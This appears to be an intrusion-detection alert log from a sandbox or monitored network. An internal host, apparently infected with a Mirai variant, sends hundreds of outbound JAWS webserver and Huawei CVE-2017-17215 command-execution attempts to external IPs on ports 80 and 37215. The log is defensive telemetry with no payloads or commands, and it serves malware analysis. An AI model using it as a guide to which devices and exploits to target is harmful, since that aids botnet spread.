2025-01-05T14:36:09.637570+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38740	165.232.39.228	80	TCP
2025-01-05T14:36:09.638007+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34284	77.72.164.117	80	TCP
2025-01-05T14:36:09.638007+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34284	77.72.164.117	80	TCP
2025-01-05T14:36:09.638611+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38574	61.142.114.59	80	TCP
2025-01-05T14:36:09.638611+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38574	61.142.114.59	80	TCP
2025-01-05T14:36:09.638988+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48756	64.15.51.248	80	TCP
2025-01-05T14:36:09.638988+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48756	64.15.51.248	80	TCP
2025-01-05T14:36:09.639628+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48650	148.151.203.199	80	TCP
2025-01-05T14:36:09.639628+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48650	148.151.203.199	80	TCP
2025-01-05T14:36:09.639945+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53516	13.193.26.3	80	TCP
2025-01-05T14:36:09.639945+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53516	13.193.26.3	80	TCP
2025-01-05T14:36:09.640201+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55324	125.63.81.27	80	TCP
2025-01-05T14:36:09.640201+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55324	125.63.81.27	80	TCP
2025-01-05T14:36:09.640276+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56762	152.233.197.107	80	TCP
2025-01-05T14:36:09.640276+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56762	152.233.197.107	80	TCP
2025-01-05T14:36:09.640404+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36006	25.233.253.185	80	TCP
2025-01-05T14:36:09.640404+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36006	25.233.253.185	80	TCP
2025-01-05T14:36:09.640500+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58586	156.150.188.212	37215	TCP
2025-01-05T14:36:09.641152+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34608	132.235.83.114	80	TCP
2025-01-05T14:36:09.641152+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34608	132.235.83.114	80	TCP
2025-01-05T14:36:09.641498+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41604	150.59.144.52	80	TCP
2025-01-05T14:36:09.641498+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41604	150.59.144.52	80	TCP
2025-01-05T14:36:09.641500+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49324	117.252.43.150	80	TCP
2025-01-05T14:36:09.641500+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49324	117.252.43.150	80	TCP
2025-01-05T14:36:09.641656+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56918	59.209.179.128	80	TCP
2025-01-05T14:36:09.641656+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56918	59.209.179.128	80	TCP
2025-01-05T14:36:09.641663+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51390	19.98.112.70	80	TCP
2025-01-05T14:36:09.641663+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51390	19.98.112.70	80	TCP
2025-01-05T14:36:09.641749+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41340	111.148.16.81	80	TCP
2025-01-05T14:36:09.641749+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41340	111.148.16.81	80	TCP
2025-01-05T14:36:09.641881+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57024	77.212.112.245	80	TCP
2025-01-05T14:36:09.641881+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57024	77.212.112.245	80	TCP
2025-01-05T14:36:09.641957+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48868	34.70.3.33	80	TCP
2025-01-05T14:36:09.641957+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48868	34.70.3.33	80	TCP
2025-01-05T14:36:09.642070+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35348	198.166.209.189	80	TCP
2025-01-05T14:36:09.642070+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35348	198.166.209.189	80	TCP
2025-01-05T14:36:09.642432+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60742	72.209.166.180	80	TCP
2025-01-05T14:36:09.642432+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60742	72.209.166.180	80	TCP
2025-01-05T14:36:09.642653+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58592	129.167.14.175	80	TCP
2025-01-05T14:36:09.642653+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	58592	129.167.14.175	80	TCP
2025-01-05T14:36:09.642862+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52338	32.38.93.194	80	TCP
2025-01-05T14:36:09.642862+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52338	32.38.93.194	80	TCP
2025-01-05T14:36:09.644286+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42512	213.71.44.84	80	TCP
2025-01-05T14:36:09.644286+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42512	213.71.44.84	80	TCP
2025-01-05T14:36:09.652895+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43592	155.40.195.24	80	TCP
2025-01-05T14:36:09.652895+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43592	155.40.195.24	80	TCP
2025-01-05T14:36:09.653168+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39488	76.255.220.226	80	TCP
2025-01-05T14:36:09.653168+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39488	76.255.220.226	80	TCP
2025-01-05T14:36:09.653570+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43240	60.38.175.172	80	TCP
2025-01-05T14:36:09.653570+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43240	60.38.175.172	80	TCP
2025-01-05T14:36:09.654629+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46806	133.100.155.130	80	TCP
2025-01-05T14:36:09.654629+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46806	133.100.155.130	80	TCP
2025-01-05T14:36:09.654699+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41056	156.35.12.181	37215	TCP
2025-01-05T14:36:09.654854+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37892	220.210.27.226	80	TCP
2025-01-05T14:36:09.654854+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37892	220.210.27.226	80	TCP
2025-01-05T14:36:09.654894+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34052	147.170.184.87	80	TCP
2025-01-05T14:36:09.654894+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34052	147.170.184.87	80	TCP
2025-01-05T14:36:09.654993+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33590	169.85.118.126	80	TCP
2025-01-05T14:36:09.654993+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33590	169.85.118.126	80	TCP
2025-01-05T14:36:09.656101+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53826	44.211.10.64	80	TCP
2025-01-05T14:36:09.656101+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53826	44.211.10.64	80	TCP
2025-01-05T14:36:09.656221+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55294	120.251.42.119	80	TCP
2025-01-05T14:36:09.656221+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55294	120.251.42.119	80	TCP
2025-01-05T14:36:09.658675+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45954	162.201.75.195	80	TCP
2025-01-05T14:36:09.658675+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45954	162.201.75.195	80	TCP
2025-01-05T14:36:09.658740+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42842	158.4.53.120	80	TCP
2025-01-05T14:36:09.658740+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42842	158.4.53.120	80	TCP
2025-01-05T14:36:09.672353+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35058	136.231.233.168	80	TCP
2025-01-05T14:36:09.672353+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35058	136.231.233.168	80	TCP
2025-01-05T14:36:10.441376+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52214	156.251.179.7	37215	TCP
2025-01-05T14:36:10.481177+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59590	137.1.211.177	80	TCP
2025-01-05T14:36:10.481177+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59590	137.1.211.177	80	TCP
2025-01-05T14:36:10.496650+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56610	79.247.85.196	80	TCP
2025-01-05T14:36:10.496650+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56610	79.247.85.196	80	TCP
2025-01-05T14:36:10.512317+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55914	186.162.247.66	80	TCP
2025-01-05T14:36:10.512317+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55914	186.162.247.66	80	TCP
2025-01-05T14:36:10.512494+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55282	80.0.144.14	80	TCP
2025-01-05T14:36:10.512494+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55282	80.0.144.14	80	TCP
2025-01-05T14:36:10.512620+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42708	165.29.73.33	80	TCP
2025-01-05T14:36:10.512620+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42708	165.29.73.33	80	TCP
2025-01-05T14:36:10.512811+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59414	197.128.78.88	80	TCP
2025-01-05T14:36:10.512811+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59414	197.128.78.88	80	TCP
2025-01-05T14:36:10.513939+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49186	188.78.49.50	80	TCP
2025-01-05T14:36:10.513939+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49186	188.78.49.50	80	TCP
2025-01-05T14:36:10.514154+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41112	126.156.202.22	80	TCP
2025-01-05T14:36:10.514154+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41112	126.156.202.22	80	TCP
2025-01-05T14:36:10.514160+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40178	196.35.69.85	80	TCP
2025-01-05T14:36:10.514160+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40178	196.35.69.85	80	TCP
2025-01-05T14:36:10.514529+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57266	98.29.107.71	80	TCP
2025-01-05T14:36:10.514529+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57266	98.29.107.71	80	TCP
2025-01-05T14:36:10.516123+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38378	39.145.47.230	80	TCP
2025-01-05T14:36:10.516123+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38378	39.145.47.230	80	TCP
2025-01-05T14:36:10.517965+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48468	136.236.170.18	80	TCP
2025-01-05T14:36:10.517965+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48468	136.236.170.18	80	TCP
2025-01-05T14:36:10.518076+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53094	205.179.188.181	80	TCP
2025-01-05T14:36:10.518076+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53094	205.179.188.181	80	TCP
2025-01-05T14:36:10.518164+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57874	126.137.148.235	80	TCP
2025-01-05T14:36:10.518164+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57874	126.137.148.235	80	TCP
2025-01-05T14:36:10.518229+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55248	85.177.89.44	80	TCP
2025-01-05T14:36:10.518229+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55248	85.177.89.44	80	TCP
2025-01-05T14:36:10.639639+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38358	38.37.142.78	80	TCP
2025-01-05T14:36:10.639639+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38358	38.37.142.78	80	TCP
2025-01-05T14:36:11.590617+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46790	156.177.210.47	37215	TCP
2025-01-05T14:36:11.592331+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54368	41.179.215.81	37215	TCP
2025-01-05T14:36:11.612517+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55862	156.247.231.231	37215	TCP
2025-01-05T14:36:11.673598+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38758	119.239.201.91	80	TCP
2025-01-05T14:36:11.673598+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38758	119.239.201.91	80	TCP
2025-01-05T14:36:13.606130+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42596	166.129.65.124	80	TCP
2025-01-05T14:36:13.606130+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42596	166.129.65.124	80	TCP
2025-01-05T14:36:13.606318+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58400	121.120.245.151	80	TCP
2025-01-05T14:36:13.606318+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	58400	121.120.245.151	80	TCP
2025-01-05T14:36:15.690046+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60334	41.24.221.169	37215	TCP
2025-01-05T14:36:16.637454+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53368	197.94.113.208	37215	TCP
2025-01-05T14:36:16.641306+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60258	156.236.104.239	37215	TCP
2025-01-05T14:36:16.672363+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48142	156.24.132.13	37215	TCP
2025-01-05T14:36:17.357761+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45460	197.129.253.146	37215	TCP
2025-01-05T14:36:17.671804+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40104	41.26.56.238	37215	TCP
2025-01-05T14:36:17.674321+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44950	197.67.177.48	37215	TCP
2025-01-05T14:36:18.716375+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44794	41.0.177.130	37215	TCP
2025-01-05T14:36:19.668986+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58494	91.163.226.102	80	TCP
2025-01-05T14:36:19.668986+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53836	221.31.107.209	80	TCP
2025-01-05T14:36:19.668986+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	58494	91.163.226.102	80	TCP
2025-01-05T14:36:19.668986+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53836	221.31.107.209	80	TCP
2025-01-05T14:36:19.684514+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40412	66.143.132.37	80	TCP
2025-01-05T14:36:19.684514+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40412	66.143.132.37	80	TCP
2025-01-05T14:36:19.688207+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57714	64.179.90.157	80	TCP
2025-01-05T14:36:19.688207+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57714	64.179.90.157	80	TCP
2025-01-05T14:36:19.690109+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41484	39.178.32.141	80	TCP
2025-01-05T14:36:19.690109+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41484	39.178.32.141	80	TCP
2025-01-05T14:36:20.684425+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35950	106.148.168.102	80	TCP
2025-01-05T14:36:20.684425+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35950	106.148.168.102	80	TCP
2025-01-05T14:36:20.684460+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50556	175.207.12.51	80	TCP
2025-01-05T14:36:20.684460+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50556	175.207.12.51	80	TCP
2025-01-05T14:36:20.684518+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56140	48.119.204.154	80	TCP
2025-01-05T14:36:20.684518+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56140	48.119.204.154	80	TCP
2025-01-05T14:36:20.684576+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38740	206.233.1.190	80	TCP
2025-01-05T14:36:20.684576+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38740	206.233.1.190	80	TCP
2025-01-05T14:36:20.684643+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51212	150.125.213.121	80	TCP
2025-01-05T14:36:20.684643+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51212	150.125.213.121	80	TCP
2025-01-05T14:36:20.684690+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55426	182.71.202.116	80	TCP
2025-01-05T14:36:20.684690+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55426	182.71.202.116	80	TCP
2025-01-05T14:36:20.684765+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49814	13.59.213.34	80	TCP
2025-01-05T14:36:20.684765+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49814	13.59.213.34	80	TCP
2025-01-05T14:36:20.684832+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57082	179.208.243.62	80	TCP
2025-01-05T14:36:20.684832+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57082	179.208.243.62	80	TCP
2025-01-05T14:36:20.684997+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54102	125.172.148.134	80	TCP
2025-01-05T14:36:20.684997+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54102	125.172.148.134	80	TCP
2025-01-05T14:36:20.685004+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54178	19.184.72.129	80	TCP
2025-01-05T14:36:20.685004+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54178	19.184.72.129	80	TCP
2025-01-05T14:36:20.685150+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50530	147.77.255.242	80	TCP
2025-01-05T14:36:20.685150+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50530	147.77.255.242	80	TCP
2025-01-05T14:36:20.686137+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53074	204.237.62.195	80	TCP
2025-01-05T14:36:20.686137+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53074	204.237.62.195	80	TCP
2025-01-05T14:36:20.686266+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46288	189.208.66.61	80	TCP
2025-01-05T14:36:20.686266+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46288	189.208.66.61	80	TCP
2025-01-05T14:36:20.688425+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49730	116.253.42.136	80	TCP
2025-01-05T14:36:20.688425+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49730	116.253.42.136	80	TCP
2025-01-05T14:36:20.690046+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39678	161.87.135.110	80	TCP
2025-01-05T14:36:20.690046+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39678	161.87.135.110	80	TCP
2025-01-05T14:36:20.690353+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42852	8.5.2.186	80	TCP
2025-01-05T14:36:20.690353+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42852	8.5.2.186	80	TCP
2025-01-05T14:36:20.705627+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57136	142.71.212.238	80	TCP
2025-01-05T14:36:20.705627+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57136	142.71.212.238	80	TCP
2025-01-05T14:36:20.721234+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48018	48.170.89.180	80	TCP
2025-01-05T14:36:20.721234+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48018	48.170.89.180	80	TCP
2025-01-05T14:36:20.736091+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55116	112.220.91.212	80	TCP
2025-01-05T14:36:20.736091+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55116	112.220.91.212	80	TCP
2025-01-05T14:36:21.727413+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60218	38.39.141.232	80	TCP
2025-01-05T14:36:21.727413+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60218	38.39.141.232	80	TCP
2025-01-05T14:36:21.727416+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33996	152.61.141.149	80	TCP
2025-01-05T14:36:21.727416+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33996	152.61.141.149	80	TCP
2025-01-05T14:36:21.727432+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52036	142.173.11.252	80	TCP
2025-01-05T14:36:21.727432+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52036	142.173.11.252	80	TCP
2025-01-05T14:36:21.727434+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49808	205.176.65.230	80	TCP
2025-01-05T14:36:21.727434+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49808	205.176.65.230	80	TCP
2025-01-05T14:36:21.727434+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47722	218.163.235.80	80	TCP
2025-01-05T14:36:21.727434+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47722	218.163.235.80	80	TCP
2025-01-05T14:36:21.727444+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54320	133.253.162.207	80	TCP
2025-01-05T14:36:21.727444+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54320	133.253.162.207	80	TCP
2025-01-05T14:36:21.727444+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42926	80.11.167.73	80	TCP
2025-01-05T14:36:21.727444+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42926	80.11.167.73	80	TCP
2025-01-05T14:36:21.727447+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38684	90.104.159.94	80	TCP
2025-01-05T14:36:21.727447+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38684	90.104.159.94	80	TCP
2025-01-05T14:36:21.727450+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54852	130.140.175.34	80	TCP
2025-01-05T14:36:21.727450+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54852	130.140.175.34	80	TCP
2025-01-05T14:36:21.727458+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57972	78.89.88.148	80	TCP
2025-01-05T14:36:21.727458+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57972	78.89.88.148	80	TCP
2025-01-05T14:36:22.509775+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54346	217.60.4.70	80	TCP
